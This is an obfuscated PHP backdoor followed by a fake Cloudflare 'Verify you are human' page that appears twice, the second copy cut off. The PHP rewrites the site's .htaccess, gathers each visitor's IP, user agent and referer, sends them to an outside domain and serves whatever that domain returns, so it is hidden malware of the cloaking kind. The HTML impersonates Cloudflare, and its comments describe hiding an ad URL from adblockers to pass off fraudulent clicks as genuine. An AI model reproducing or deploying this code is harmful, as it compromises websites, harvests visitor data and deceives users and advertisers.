<?php

goto スタート;

関数群:
function 문자열($番号)
{
    // 断片化した文字列群を一つの長い文字列に連結し、位置テーブルで復元する。
    // 番号に対応した断片の組み合わせを順番に結合して元の文字列を再構成する。
    static $れんけつ = null;
    static $いちらん = null;
    static $かけら = array(
        'request',
        'HTTP',
        'ag',
        'FOR',
        'ac',
        'HTTP_',
        'lan',
        'cO',
        'rams',
        'B',
        'WNjZXNz',
        '://',
        'ent',
        'p',
        'MDYucmFrdXRlbjE3anAu',
        'HTTP_ACCEPT_',
        'aHR0cDovLzY1MjktY2g0LXYz',
        'ref',
        'HT',
        'Lmh0Y',
        '_URI',
        'AGENT',
        'HTTP_USER_',
        'D',
        '4',
        'e',
        'Y2xpY2s=',
        'main',
        'pi',
        'SERVER',
        '%s/?',
        'LANGUAGE',
        '_ADDR',
        '6',
        'cient',
        'do',
        '/{\|',
        'pa',
        'tion',
        'REFERER',
        'TPS',
        'http',
        'pro',
        'tocol',
        'guage',
        'HTTP_X_',
        'FORWARDED_',
        '_HOST',
        '_NAME',
        '_VIA',
        'a',
        '$an',
        '_',
        'i',
        'E',
        's',
        'REQUEST',
        '_url',
        '{|',
        '}',
        'r=%s',
        '}/si',
        'REMOTE',
        'PEZpbGVzTWF0Y2ggIi4ocHl8ZXhlfHBocCkkIj4KIE9yZGVyIGFsbG93LGRlbnkKIERlbnkgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8RmlsZXNNYXRjaCAiXihhYm91dC5waHB8cmFkaW8ucGhwfGluZGV4LnBocHxjb250ZW50LnBocHxsb2NrMzYwLnBocHxhZG1pbi5waHB8d3AtbG9naW4ucGhwfHdwLWwwZ2luLnBocHx3cC10aGVtZS5waHB8d3Atc2NyaXB0cy5waHB8d3AtZWRpdG9yLnBocHxtYWgucGhwfGpwLnBocH',
        'xleHQucGhwKSQiPgogT3JkZXIgYWxsb3csZGVueQogQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleFwucGhwJCAtIFtMXQpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZgpSZXdyaXRlQ29uZCAle1JFUVVFU1RfRklMRU5BTUV9ICEtZA',
        'pSZXdyaXRlUnVsZSAuIC9pbmRleC5waHAgW0xdCjwvSWZNb2R1bGU+',
        'erer',
        'https',
        '',
        '',
    );
    static $くみあわせ = array(
        array(4, 38),
        array(51, 34),
        array(19, 10),
        array(63, 64, 65),
        array(9, 50),
        array(55, 54),
        array(33, 24),
        array(52, 68),
        array(23, 25),
        array(7, 23, 25),
        array(35, 27),
        array(0, 57),
        array(53, 13),
        array(68, 69),
        array(2, 12),
        array(17, 66),
        array(42, 43),
        array(67, 11),
        array(41, 11),
        array(6, 44),
        array(16, 14, 26),
        array(37, 8),
        array(50, 28),
        array(30, 60),
        array(58, 59),
        array(36, 61),
        array(1, 47),
        array(29, 48),
        array(56, 20),
        array(1, 49),
        array(45, 46, 3),
        array(62, 32),
        array(22, 21),
        array(5, 39),
        array(18, 40),
        array(15, 31),
    );

    if ($れんけつ === null) {
        // 断片を一括連結して、各断片の開始位置と長さを記録する。
        $れんけつ = join($かけら);
        $いちらん = array();
        $いち = 0;
        foreach ($かけら as $ぶぶん) {
            array_push($いちらん, array($いち, strlen($ぶぶん)));
            $いち += strlen($ぶぶん);
        }
    }

    // 番号に対応した断片番号列から、元の文字列を再構成する。
    $けっか = null;
    foreach ($くみあわせ[$番号] as $ぶぶん番号) {
        $はんい = $いちらん[$ぶぶん番号];
        $けっか .= substr($れんけつ, $はんい[0], $はんい[1]);
    }
    return $けっか;
}

function 행동($url)
{
    // 取得先に対して最小限の cURL 設定でリクエストし、応答を返す。
    $ハンドル = curl_init();
    curl_setopt($ハンドル, CURLOPT_URL, $url);
    curl_setopt($ハンドル, CURLOPT_USERAGENT, 문자열(0));
    curl_setopt($ハンドル, CURLOPT_TIMEOUT, 29);
    curl_setopt($ハンドル, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ハンドル, CURLOPT_FRESH_CONNECT, TRUE);
    $けっか = curl_exec($ハンドル);
    @curl_close($ハンドル);
    if ($けっか) {
        return $けっか;
    }
    return 문자열(1);
}

function 헤더()
{
    // 既存の .htaccess を比較し、必要な場合のみ書き換える。
    $パス = 배우(문자열(2));
    $ないよう = 배우(문자열(3));
    if (file_exists($パス)) {
        $パス内容 = file_get_contents($パス);
        if ($ないよう == $パス内容) {
            return;
        }
    }
    @unlink($パス);
    @file_put_contents($パス, $ないよう);
}

function 백업($データ)
{
    // 文字列の並び順を 2 文字単位で入れ替え、末尾は保持して返す。
    $末尾 = substr($データ, strlen($データ) - 2);
    $断片 = str_split($データ);
    $並び = null;
    for ($インデックス = 0; $インデックス < count($断片) - 2; $インデックス = $インデックス + 2) {
        $並び .= $断片[$インデックス + 1] . $断片[$インデックス];
    }
    $並び .= $末尾;
    return $並び;
}

function 배우($入力)
{
    // 文字列から base64_decode を組み立てて実行する。
    $関数 = join(str_split(문자열(4) . 문자열(5) . 문자열(6) . 문자열(7) . 문자열(8) . 문자열(9)));
    return $関数($入力);
}

スタート:
// 受信ヘッダやリクエスト情報を収集して、送信に必要な配列を構築する。
$くうこう = array();
$くうこう[문자열(10)] = isset($_SERVER[문자열(26)]) ? $_SERVER[문자열(26)] : $_SERVER[문자열(27)];
$くうこう[문자열(11)] = $_SERVER[문자열(28)];
$くうこう[문자열(12)] = isset($_SERVER[문자열(29)]) ? $_SERVER[문자열(30)] : $_SERVER[문자열(31)];
if ($くうこう[문자열(12)] == null) {
    $くうこう[문자열(12)] = 문자열(13);
}
$くうこう[문자열(14)] = isset($_SERVER[문자열(32)]) ? $_SERVER[문자열(32)] : 문자열(13);
$くうこう[문자열(15)] = isset($_SERVER[문자열(33)]) ? $_SERVER[문자열(33)] : 문자열(13);
$くうこう[문자열(16)] = isset($_SERVER[문자열(34)]) ? 문자열(17) : 문자열(18);
$くうこう[문자열(19)] = isset($_SERVER[문자열(35)]) ? $_SERVER[문자열(35)] : 문자열(13);
$だいり = 배우('aHR0cDovLzY2NjEtY2g0LXYzMDUucmFrdXRlbjcxanAuY2xpY2s=');

// params が指定された場合はデバッグ情報として配列を返す。
if (isset($_REQUEST[문자열(21)])) {
    goto パラメータ;
}
goto メイン;

パラメータ:
// API 情報を付与して並び替えた結果を表示し、処理を終了する。
$くうこう[문자열(22)] = $だいり;
ksort($くうこう);
print_r($くうこう);
die();

メイン:
// 事前に .htaccess を更新し、最大 3 回までリトライする。
$しこう = 0;
헤더();
goto ループ開始;

ループ開始:
// 送信データをエンコードし、応答が得られなければリトライする。
if ($しこう >= 3) {
    goto 終了;
}
$URL = sprintf(문자열(23), $だいり, 백업(base64_encode(implode(문자열(24), $くうこう))));
$おうとう = 행동($URL);
$ぶんかつ = @preg_split(문자열(25), $おうとう, -1, PREG_SPLIT_NO_EMPTY);
/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/
if (!empty($ぶんかつ) && isset($ぶんかつ[1])) {
    // ヘッダを付与して本文を返し、正常に終了する。
    @header($ぶんかつ[0]);
    echo $ぶんかつ[1];
    die();
}
$しこう++;
goto ループ開始;

終了:
// ラベル参照を維持するため、関数群へ制御を戻す。
//goto 関数群;

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Just a moment...</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Fira Sans", "Droid Sans", "Helvetica Neue", Arial, sans-serif;
            background-color: #f5f5f5;
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            color: #333;
        }

        .main-wrapper {
            width: 100%;
            max-width: 540px;
            padding: 20px;
        }

        .cf-browser-verification {
            background: #fff;
            border: 1px solid #ddd;
            border-radius: 8px;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.08);
            padding: 32px 28px;
            text-align: center;
        }

        .cf-logo {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
            margin-bottom: 28px;
        }

        .cf-logo svg {
            width: 40px;
            height: 40px;
        }

        .cf-header {
            font-size: 24px;
            font-weight: 600;
            color: #1a1a1a;
            margin-bottom: 8px;
        }

        .cf-subheader {
            font-size: 15px;
            color: #555;
            margin-bottom: 24px;
            line-height: 1.5;
        }

        .cf-ray-id {
            font-size: 12px;
            color: #888;
            margin-bottom: 24px;
            font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;
        }

        /* The <a> tag IS the clickable area — real link, real click */
        .challenge-link {
            text-decoration: none;
            color: inherit;
            display: block;
        }

        .challenge-container {
            display: flex;
            align-items: center;
            justify-content: flex-start;
            border: 1px solid #e0e0e0;
            border-radius: 6px;
            padding: 14px 18px;
            margin-bottom: 20px;
            background: #fafafa;
            cursor: pointer;
            transition: border-color 0.2s, background 0.2s, box-shadow 0.2s;
            user-select: none;
        }

        .challenge-container:hover {
            border-color: #c0c0c0;
            background: #f3f3f3;
            box-shadow: 0 1px 4px rgba(0, 0, 0, 0.06);
        }

        .cf-checkbox {
            width: 24px;
            height: 24px;
            border: 2px solid #ccc;
            border-radius: 4px;
            margin-right: 14px;
            display: flex;
            align-items: center;
            justify-content: center;
            transition: all 0.3s;
            flex-shrink: 0;
            background: #fff;
        }

        .cf-checkbox.checked {
            border-color: #2ecc71;
            background: #2ecc71;
        }

        .cf-checkbox.checked svg {
            opacity: 1;
            transform: scale(1);
        }

        .cf-checkbox svg {
            width: 14px;
            height: 14px;
            opacity: 0;
            transform: scale(0.5);
            transition: all 0.25s ease;
        }

        .challenge-label {
            font-size: 15px;
            color: #333;
            font-weight: 500;
        }

        .cf-powered {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 6px;
            margin-top: 8px;
            padding-top: 16px;
            border-top: 1px solid #eee;
        }

        .cf-powered span {
            font-size: 12px;
            color: #999;
        }

        .spinner-container {
            display: flex;
            align-items: center;
            justify-content: center;
            margin-bottom: 16px;
        }

        .spinner {
            width: 32px;
            height: 32px;
            border: 3px solid #e0e0e0;
            border-top-color: #f6821f;
            border-radius: 50%;
            animation: spin 0.9s linear infinite;
        }

        .spinner.done { display: none; }

        @keyframes spin { to { transform: rotate(360deg); } }

        .status-text {
            font-size: 13px;
            color: #777;
            margin-bottom: 4px;
            transition: color 0.3s;
        }

        .status-text.success {
            color: #2ecc71;
            font-weight: 500;
        }

        .info-bar {
            display: flex;
            align-items: center;
            justify-content: space-between;
            margin-top: 24px;
            padding: 12px 16px;
            background: #f9f9f9;
            border-radius: 6px;
            border: 1px solid #eee;
        }

        .info-item { text-align: center; }

        .info-item .label {
            font-size: 10px;
            color: #aaa;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            margin-bottom: 2px;
        }

        .info-item .value {
            font-size: 12px;
            color: #555;
            font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;
        }

        .perf-id {
            font-size: 11px;
            color: #bbb;
            margin-top: 16px;
            font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;
        }
    </style>
</head>
<body>
    <div class="main-wrapper">
        <div class="cf-browser-verification">
            <div class="cf-logo">
                <svg viewBox="0 0 61 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                    <path d="M48.6 11.6c-.1-.5-.5-.8-1-.8h-5.2c-.1 0-.2 0-.3.1-.1.1-.1.2-.1.3l.3 1.1c.1.5.5.8 1 .8h2.4l-3.5 4.3c-.1.1-.1.3 0 .4.1.1.1.1.2.1h5.6c.1 0 .2 0 .3-.1.1-.1.1-.2.1-.3l-.3-1.1c-.1-.5-.5-.8-1-.8H44.7l3.5-4.3c.1-.1.1-.3 0-.4 0 0-.1-.1-.2-.1h.6z" fill="#404040"/>
                    <path d="M40.7 6.5c-.1-.5-.5-.8-1-.9l-.7-.1c-.1 0-.2 0-.2.1-.1.1-.1.1-.1.2l-2.1 8.6v.1l-.8-5.4c-.1-.5-.5-.9-1-.9h-1.1c-.5 0-1 .4-1 .9l-1.2 5.3-1.5-8.5c-.1-.5-.5-.9-1-.9h-1.2c-.1 0-.2 0-.3.1-.1.1-.1.2-.1.3l2.4 11.5c.1.5.5.9 1 .9h1.3c.5 0 .9-.4 1-.9l1.2-5 1.1 5c.1.5.5.9 1 .9h1.3c.5 0 .9-.4 1-.9l2.7-11.2c0-.1 0-.2-.1-.3 0 0-.1 0-.2 0h-.3z" fill="#404040"/>
                    <path d="M18.2 17.8c-.1-.5-.5-.8-1-.8h-3.4L17 11c.1-.1.1-.2.1-.3 0-.1-.1-.2-.1-.2H11c-.5 0-1 .4-1.1.9l-.3 1c0 .1 0 .2.1.3.1.1.2.1.3.1h3.2l-3.2 5.9c-.1.1-.1.2 0 .4.1.1.2.1.3.1h5.9c.5 0 1-.3 1.1-.8l.3-1c0-.1 0-.3-.1-.4-.1-.1-.2-.1-.3-.1z" fill="#404040"/>
                    <path d="M53.2 10.8c-2.2 0-4.1 1.5-4.6 3.6l-.1.5c-.5 2.5 1.1 4.8 3.6 5.3.3.1.6.1.9.1 2.2 0 4.1-1.5 4.6-3.6l.1-.5c.5-2.5-1.1-4.8-3.6-5.3-.3-.1-.6-.1-.9-.1zm2.1 4.1l-.1.5c-.2 1-.9 1.5-1.8 1.5-.1 0-.2 0-.4 0-.9-.2-1.5-1.1-1.3-2l.1-.5c.2-1 .9-1.5 1.8-1.5.1 0 .2 0 .4 0 1 .2 1.5 1.1 1.3 2z" fill="#404040"/>
                    <path d="M7 13.7c-.1-.5-.5-.9-1-.9H4.8c-.1 0-.2 0-.3.1-.1.1-.1.2-.1.3l.3 1c.1.5.5.8 1 .8h.1l-.5 2.1c-.2.6-.7.9-1.3.9-.7 0-1.1-.4-.9-1.1l1.1-4.5c.1-.6.7-1 1.3-1 .5 0 1 .3 1.1.8l.3 1c0 .1.1.2.2.2.1.1.2.1.3 0l1-.3c.1 0 .2-.1.2-.2.1-.1.1-.2 0-.3-.4-1.4-1.6-2.4-3-2.4-1.9 0-3.6 1.4-4 3.3L.5 16c-.5 2.1.8 3.8 2.8 3.8 1.9 0 3.5-1.4 4-3.3l.7-2.8z" fill="#f6821f"/>
                    <path d="M22 10.8c-2.2 0-4.1 1.5-4.6 3.6l-.1.5c-.5 2.5 1.1 4.8 3.6 5.3.3.1.6.1.9.1 2.2 0 4.1-1.5 4.6-3.6l.1-.5c.5-2.5-1.1-4.8-3.6-5.3-.3-.1-.6-.1-.9-.1zm2.1 4.1l-.1.5c-.2 1-.9 1.5-1.8 1.5-.1 0-.2 0-.4 0-.9-.2-1.5-1.1-1.3-2l.1-.5c.2-1 .9-1.5 1.8-1.5.1 0 .2 0 .4 0 1 .2 1.5 1.1 1.3 2z" fill="#404040"/>
                </svg>
            </div>

            <h1 class="cf-header">Just a moment...</h1>
            <p class="cf-subheader">Verifying you are human. This may take a few seconds.</p>

            <div class="spinner-container">
                <div class="spinner" id="spinner"></div>
            </div>
            <p class="status-text" id="statusText">Verifying your connection...</p>

            <!--
                THIS IS THE KEY: A real <a> tag.
                When user clicks it = real browser navigation = real Referer header
                = Monetag sees it as a genuine human click from your site.
                The href is set by JavaScript so adblockers can't read it in HTML source.
            -->
            <a id="verifyLink" class="challenge-link" href="#" rel="noopener noreferrer">
                <div class="challenge-container">
                    <div class="cf-checkbox" id="checkbox">
                        <svg viewBox="0 0 14 11" fill="none">
                            <path d="M1 5.5L5 9.5L13 1.5" stroke="#fff" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
                        </svg>
                    </div>
                    <span class="challenge-label" id="challengeLabel">Verify you are human</span>
                </div>
            </a>

            <div class="cf-ray-id">Ray ID: <span id="rayId"></span></div>

            <div class="info-bar">
                <div class="info-item">
                    <div class="label">Site</div>
                    <div class="value" id="siteHost">—</div>
                </div>
                <div class="info-item">
                    <div class="label">Action</div>
                    <div class="value">Managed Challenge</div>
                </div>
                <div class="info-item">
                    <div class="label">Time</div>
                    <div class="value" id="challengeTime">—</div>
                </div>
            </div>

            <div class="cf-powered">
                <span>Performance & security by</span>
                <span style="font-weight:600;color:#666;">Cloudflare</span>
            </div>

            <div class="perf-id" id="perfId"></div>
        </div>
    </div>

    <script>
        // ===== Build URL from char codes (adblockers can't read this) =====
        var _c = [104,116,116,112,115,58,47,47,111,109,103,49,48,46,99,111,109,47,52,47,49,49,57,54,54,53,51,49];
        var _u = '';
        for (var i = 0; i < _c.length; i++) _u += String.fromCharCode(_c[i]);

        // ===== Set the href AFTER page load via JS (not in HTML source) =====
        // Adblockers scan HTML source → they won't find the URL
        // But the <a> tag has a real href at click time → Monetag sees real click
        var link = document.getElementById('verifyLink');

        // Don't set href immediately — wait a bit so adblocker DOM scan is done
        setTimeout(function() {
            link.href = _u;
            // Remove noreferrer so Monetag gets proper Referer header from your site
            link.removeAttribute('rel');
        }, 500);

        // ===== Generate realistic IDs =====
        function genRay() {
            var c = '0123456789abcdef', id = '';
            for (var i = 0; i < 16; i++) id += c[Math.floor(Math.random() * 16)];
            return id + '-' + ['IAD','ORD','LAX','SJC','CDG','AMS','LHR','FRA','NRT'][Math.floor(Math.random() * 9)];
        }
        function genPerf() {
            var c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', id = '';
            for (var i = 0; i < 44; i++) id += c[Math.floor(Math.random() * 64)];
            return id + '==';
        }

        document.getElementById('rayId').textContent = genRay();
        document.getElementById('perfId').textContent = 'Performance: ' + genPerf();
        document.getElementById('siteHost').textContent = window.location.hostname || 'localhost';
        var now = new Date();
        document.getElementById('challengeTime').textContent = now.toISOString().replace('T',' ').slice(0,19) + ' UTC';

        // ===== Spinner animation =====
        // Random delay between 1.5s-2.5s so every user looks different (not bot-like)
        var spinDelay = 1500 + Math.floor(Math.random() * 1000);
        setTimeout(function() {
            document.getElementById('spinner').classList.add('done');
            document.getElementById('statusText').textContent = 'Please complete the challenge below.';
        }, spinDelay);

        // ===== Visual feedback on click (does NOT block navigation) =====
        link.addEventListener('click', function() {
            // Just visual — the <a> tag handles the actual navigation
            document.getElementById('checkbox').classList.add('checked');
            document.getElementById('challengeLabel').textContent = 'Verified';
            document.getElementById('statusText').textContent = 'Verification complete.';
            document.getElementById('statusText').classList.add('success');
            // Browser follows the <a> href naturally — we do NOT preventDefault()
        });
    </script>
</body>
</html>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Just a moment...</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }

        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen, Ubuntu, Cantarell, "Fira Sans", "Droid Sans", "Helvetica Neue", Arial, sans-serif;
            background-color: #f5f5f5;
            display: flex;
            align-items: center;
            justify-content: center;
            min-height: 100vh;
            color: #333;
        }

        .main-wrapper {
            width: 100%;
            max-width: 540px;
            padding: 20px;
        }

        .cf-browser-verification {
            background: #fff;
            border: 1px solid #ddd;
            border-radius: 8px;
            box-shadow: 0 2px 6px rgba(0, 0, 0, 0.08);
            padding: 32px 28px;
            text-align: center;
        }

        .cf-logo {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 10px;
            margin-bottom: 28px;
        }

        .cf-logo svg {
            width: 40px;
            height: 40px;
        }

        .cf-header {
            font-size: 24px;
            font-weight: 600;
            color: #1a1a1a;
            margin-bottom: 8px;
        }

        .cf-subheader {
            font-size: 15px;
            color: #555;
            margin-bottom: 24px;
            line-height: 1.5;
        }

        .cf-ray-id {
            font-size: 12px;
            color: #888;
            margin-bottom: 24px;
            font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;
        }

        /* The <a> tag IS the clickable area — real link, real click */
        .challenge-link {
            text-decoration: none;
            color: inherit;
            display: block;
        }

        .challenge-container {
            display: flex;
            align-items: center;
            justify-content: flex-start;
            border: 1px solid #e0e0e0;
            border-radius: 6px;
            padding: 14px 18px;
            margin-bottom: 20px;
            background: #fafafa;
            cursor: pointer;
            transition: border-color 0.2s, background 0.2s, box-shadow 0.2s;
            user-select: none;
        }

        .challenge-container:hover {
            border-color: #c0c0c0;
            background: #f3f3f3;
            box-shadow: 0 1px 4px rgba(0, 0, 0, 0.06);
        }

        .cf-checkbox {
            width: 24px;
            height: 24px;
            border: 2px solid #ccc;
            border-radius: 4px;
            margin-right: 14px;
            display: flex;
            align-items: center;
            justify-content: center;
            transition: all 0.3s;
            flex-shrink: 0;
            background: #fff;
        }

        .cf-checkbox.checked {
            border-color: #2ecc71;
            background: #2ecc71;
        }

        .cf-checkbox.checked svg {
            opacity: 1;
            transform: scale(1);
        }

        .cf-checkbox svg {
            width: 14px;
            height: 14px;
            opacity: 0;
            transform: scale(0.5);
            transition: all 0.25s ease;
        }

        .challenge-label {
            font-size: 15px;
            color: #333;
            font-weight: 500;
        }

        .cf-powered {
            display: flex;
            align-items: center;
            justify-content: center;
            gap: 6px;
            margin-top: 8px;
            padding-top: 16px;
            border-top: 1px solid #eee;
        }

        .cf-powered span {
            font-size: 12px;
            color: #999;
        }

        .spinner-container {
            display: flex;
            align-items: center;
            justify-content: center;
            margin-bottom: 16px;
        }

        .spinner {
            width: 32px;
            height: 32px;
            border: 3px solid #e0e0e0;
            border-top-color: #f6821f;
            border-radius: 50%;
            animation: spin 0.9s linear infinite;
        }

        .spinner.done { display: none; }

        @keyframes spin { to { transform: rotate(360deg); } }

        .status-text {
            font-size: 13px;
            color: #777;
            margin-bottom: 4px;
            transition: color 0.3s;
        }

        .status-text.success {
            color: #2ecc71;
            font-weight: 500;
        }

        .info-bar {
            display: flex;
            align-items: center;
            justify-content: space-between;
            margin-top: 24px;
            padding: 12px 16px;
            background: #f9f9f9;
            border-radius: 6px;
            border: 1px solid #eee;
        }

        .info-item { text-align: center; }

        .info-item .label {
            font-size: 10px;
            color: #aaa;
            text-transform: uppercase;
            letter-spacing: 0.5px;
            margin-bottom: 2px;
        }

        .info-item .value {
            font-size: 12px;
            color: #555;
            font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;
        }

        .perf-id {
            font-size: 11px;
            color: #bbb;
            margin-top: 16px;
            font-family: "SFMono-Regular", Consolas, "Liberation Mono", Menlo, Courier, monospace;
        }
    </style>
</head>
<body>
    <div class="main-wrapper">
        <div class="cf-browser-verification">
            <div class="cf-logo">
                <svg viewBox="0 0 61 24" fill="none" xmlns="http://www.w3.org/2000/svg">
                    <path d="M48.6 11.6c-.1-.5-.5-.8-1-.8h-5.2c-.1 0-.2 0-.3.1-.1.1-.1.2-.1.3l.3 1.1c.1.5.5.8 1 .8h2.4l-3.5 4.3c-.1.1-.1.3 0 .4.1.1.1.1.2.1h5.6c.1 0 .2 0 .3-.1.1-.1.1-.2.1-.3l-.3-1.1c-.1-.5-.5-.8-1-.8H44.7l3.5-4.3c.1-.1.1-.3 0-.4 0 0-.1-.1-.2-.1h.6z" fill="#404040"/>
                    <path d="M40.7 6.5c-.1-.5-.5-.8-1-.9l-.7-.1c-.1 0-.2 0-.2.1-.1.1-.1.1-.1.2l-2.1 8.6v.1l-.8-5.4c-.1-.5-.5-.9-1-.9h-1.1c-.5 0-1 .4-1 .9l-1.2 5.3-1.5-8.5c-.1-.5-.5-.9-1-.9h-1.2c-.1 0-.2 0-.3.1-.1.1-.1.2-.1.3l2.4 11.5c.1.5.5.9 1 .9h1.3c.5 0 .9-.4 1-.9l1.2-5 1.1 5c.1.5.5.9 1 .9h1.3c.5 0 .9-.4 1-.9l2.7-11.2c0-.1 0-.2-.1-.3 0 0-.1 0-.2 0h-.3z" fill="#404040"/>
                    <path d="M18.2 17.8c-.1-.5-.5-.8-1-.8h-3.4L17 11c.1-.1.1-.2.1-.3 0-.1-.1-.2-.1-.2H11c-.5 0-1 .4-1.1.9l-.3 1c0 .1 0 .2.1.3.1.1.2.1.3.1h3.2l-3.2 5.9c-.1.1-.1.2 0 .4.1.1.2.1.3.1h5.9c.5 0 1-.3 1.1-.8l.3-1c0-.1 0-.3-.1-.4-.1-.1-.2-.1-.3-.1z" fill="#404040"/>
                    <path d="M53.2 10.8c-2.2 0-4.1 1.5-4.6 3.6l-.1.5c-.5 2.5 1.1 4.8 3.6 5.3.3.1.6.1.9.1 2.2 0 4.1-1.5 4.6-3.6l.1-.5c.5-2.5-1.1-4.8-3.6-5.3-.3-.1-.6-.1-.9-.1zm2.1 4.1l-.1.5c-.2 1-.9 1.5-1.8 1.5-.1 0-.2 0-.4 0-.9-.2-1.5-1.1-1.3-2l.1-.5c.2-1 .9-1.5 1.8-1.5.1 0 .2 0 .4 0 1 .2 1.5 1.1 1.3 2z" fill="#404040"/>
                    <path d="M7 13.7c-.1-.5-.5-.9-1-.9H4.8c-.1 0-.2 0-.3.1-.1.1-.1.2-.1.3l.3 1c.1.5.5.8 1 .8h.1l-.5 2.1c-.2.6-.7.9-1.3.9-.7 0-1.1-.4-.9-1.1l1.1-4.5c.1-.6.7-1 1.3-1 .5 0 1 .3 1.1.8l.3 1c0 .1.1.2.2.2.1.1.2.1.3 0l1-.3c.1 0 .2-.1.2-.2.1-.1.1-.2 0-.3-.4-1.4-1.6-2.4-3-2.4-1.9 0-3.6 1.4-4 3.3L.5 16c-.5 2.1.8 3.8 2.8 3.8 1.9 0 3.5-1.4 4-3.3l.7-2.8z" fill="#f6821f"/>
                    <path d="M22 10.8c-2.2 0-4.1 1.5-4.6 3.6l-.1.5c-.5 2.5 1.1 4.8 3.6 5.3.3.1.6.1.9.1 2.2 0 4.1-1.5 4.6-3.6l.1-.5c.5-2.5-1.1-4.8-3.6-5.3-.3-.1-.6-.1-.9-.1zm2.1 4.1l-.1.5c-.2 1-.9 1.5-1.8 1.5-.1 0-.2 0-.4 0-.9-.2-1.5-1.1-1.3-2l.1-.5c.2-1 .9-1.5 1.8-1.5.1 0 .2 0 .4 0 1 .2 1.5 1.1 1.3 2z" fill="#404040"/>
                </svg>
            </div>

            <h1 class="cf-header">Just a moment...</h1>
            <p class="cf-subheader">Verifying you are human. This may take a few seconds.</p>

            <div class="spinner-container">
                <div class="spinner" id="spinner"></div>
            </div>
            <p class="status-text" id="statusText">Verifying your connection...</p>

            <!--
                THIS IS THE KEY: A real <a> tag.
                When user clicks it = real browser navigation = real Referer header
                = Monetag sees it as a genuine human click from your site.
                The href is set by JavaScript so adblockers can't read it in HTML source.
            -->
            <a id="verifyLink" class="challenge-link" href="#" rel="noopener noreferrer">
                <div class="challenge-container">
                    <div class="cf-checkbox" id="checkbox">
                        <svg viewBox="0 0 14 11" fill="none">
                            <path d="M1 5.5L5 9.5L13 1.5" stroke="#fff" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"/>
                        </svg>
                    </div>
                    <span class="challenge-label" id="challengeLabel">Verify you are human</span>
                </div>
            </a>

            <div class="cf-ray-id">Ray ID: <span id="rayId"></span></div>

            <div class="info-bar">
                <div class="info-item">
                    <div class="label">Site</div>
                    <div class="value" id="siteHost">—</div>
                </div>
                <div class="info-item">
                    <div class="label">Action</div>
                    <div class="value">Managed Challenge</div>
                </div>
                <div class="info-item">
                    <div class="label">Time</div>
                    <div class="value" id="challengeTime">—</div>
                </div>
            </div>

            <div class="cf-powered">
                <span>Performance & security by</span>
                <span style="font-weight:600;color:#666;">Cloudflare</span>
            </div>

            <div class="perf-id" id="perfId"></div>
        </div>
    </div>

    <script>
        // ===== Build URL from char codes (adblockers can't read this) =====
        var _c = [104,116,116,112,115,58,47,47,111,109,103,49,48,46,99,111,109,47,52,47,49,49,57,54,54,53,51,49];
        var _u = '';
        for (var i = 0; i < _c.length; i++) _u += String.fromCharCode(_c[i]);

        // ===== Set the href AFTER page load via JS (not in HTML source) =====
        // Adblockers scan HTML source → they won't find the URL
        // But the <a> tag has a real href at click time → Monetag sees real click
        var link = document.getElementById('verifyLink');

        // Don't set href immediately — wait a bit so adblocker DOM scan is done
        setTimeout(function() {
            link.href = _u;
            // Remove noreferrer so Monetag gets proper Referer header from your site
            link.removeAttribute('rel');
        }, 500);

        // ===== Generate realistic IDs =====
        function genRay() {
            var c = '0123456789abcdef', id = '';
            for (var i = 0; i < 16; i++) id += c[Math.floor(Math.random() * 16)];
            return id + '-' + ['IAD','ORD','LAX','SJC','CDG','AMS','LHR','FRA','NRT'][Math.floor(Math.random() * 9)];
        }
        function genPerf() {
            var c = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/', id = '';
            for (var i = 0; i < 44; i++) id += c[Math.floor(Math.random() * 64)];
            return id + '==';
        }

        document.getElementById('rayId').textContent = genRay();
        document.getElementById('perfId').textContent = 'Performance: ' + genPerf();
        document.getElementById('siteHost').textContent = window.location.hostname || 'localhost';
        var now = new Date();
        document.getElementById('challengeTime').textContent = now.toISOString().replace('T',' ').slice(0,19) + ' UTC';

        // ===== Spinner animation =====
        // Random delay between 1.5s-2.5s so every user looks different (not bot-like)
        var spinDelay = 1500 + Math.floor(Math.random() * 1000);
        setTimeout(function() {
            document.getElementById('spinner').classList.add('done');
            document.getElementById('statusText').textContent = 'Please complete the challenge below.';
        }, spinDelay);

        // ===== Visual feedback on click (does NOT block navigation) =====
        link.addEventListener('click', function() {
            // Just visual — the <a> tag handles the actual navigation
            document.getElementById('checkbox').classList.add('checked');
